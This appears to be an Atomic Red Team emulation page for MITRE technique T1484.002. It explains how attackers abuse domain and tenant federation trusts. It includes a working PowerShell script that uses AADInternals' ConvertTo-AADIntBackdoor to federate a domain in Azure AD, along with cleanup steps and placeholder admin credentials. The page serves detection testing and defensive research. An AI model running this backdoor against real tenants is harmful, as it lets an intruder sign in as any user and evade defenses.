T1484.002 - Domain Trust Modification
Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.
Manipulating these trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, in Microsoft Active Directory (AD) environments, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002) without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert an AD domain to a federated domain using Active Directory Federation Services (AD FS), which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain)
An adversary may also add a new federated identity provider to an identity tenant such as Okta, which may enable the adversary to authenticate as any user of the tenant.(Citation: Okta Cross-Tenant Impersonation 2023)
Atomic Tests
Atomic Test #1 - Add Federation to Azure AD
Add a new federated domain to Azure AD using PowerShell.
The malicious domain to be federated must be configured beforehand (outside of the scope of this test):
1. Open Azure Portal
2. Add a new “custom domain name”
3. Verify the domain by following instructions (i.e. create the requested DNS record)
Supported Platforms: Azure-ad
auto_generated_guid: 8906c5d0-3ee5-4f63-897a-f6cafd3fdbb7
| Name | Description | Type | Default Value |
|——|————-|——|—————|
| azure_username | Username of a privileged Azure AD account such as External Identity Provider Administrator or Global Administrator roles | string | bruce.wayne@contosocloud.com|
| azure_password | Password of azure_username | string | iamthebatman|
| domain_name | Malicious federated domain name | string | contoso.com|
Attack Commands: Run with
!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
| Import-Module AzureAD
Import-Module AADInternals
$PWord = ConvertTo-SecureString -String "#{azure_password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{azure_username}", $Pword
try {
Connect-AzureAD -Credential $Credential -ErrorAction Stop > $null
}
catch {
Write-Host "Error: AzureAD could not connect"
exit 1
}
try {
$domain = Get-AzureADDomain -Name "#{domain_name}"
}
catch {
Write-Host "Error: domain ""#{domain_name}"" not found"
exit 1
}
if (-Not $domain.IsVerified) {
Write-Host "Error: domain ""#{domain_name}"" not verified"
exit 1
}
if ($domain.AuthenticationType -eq "Federated") {
Write-Host "Error: domain ""#{domain_name}"" already federated. Try with a different domain or re-create it before."
exit 1
}
$at = Get-AADIntAccessTokenForAADGraph -Credentials $Credential
if (-Not $at) {
Write-Host "Error: AADInternals could not connect"
exit 1
}
$new = ConvertTo-AADIntBackdoor -AccessToken $at -DomainName "#{domain_name}"
if ($new) {
Write-Host "Federation successfully added to Azure AD"
Write-Host $new
}
else {
Write-Host "The federation setup failed"
}
Write-Host "End of federation configuration."
|
Cleanup Commands:
1
2
3
4
5
6
7
8
9
| try {
Import-Module AzureAD -ErrorAction Ignore
$PWord = ConvertTo-SecureString -String "#{azure_password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{azure_username}", $Pword
Connect-AzureAD -Credential $Credential -ErrorAction Ignore > $null
Remove-AzureADDomain -Name "#{domain_name}" -ErrorAction Ignore
} catch {}
|
Dependencies: Run with
!
Description: AzureAD and AADInternals Powershell modules must be installed.
Check Prereq Commands:
1
| if ((Get-Module -ListAvailable -Name AzureAD) -And (Get-Module -ListAvailable -Name AADInternals)) {exit 0} else {exit 1}
|
Get Prereq Commands:
1
2
| Install-Module -Name AzureAD -Force
Install-Module -Name AADInternals -Force
|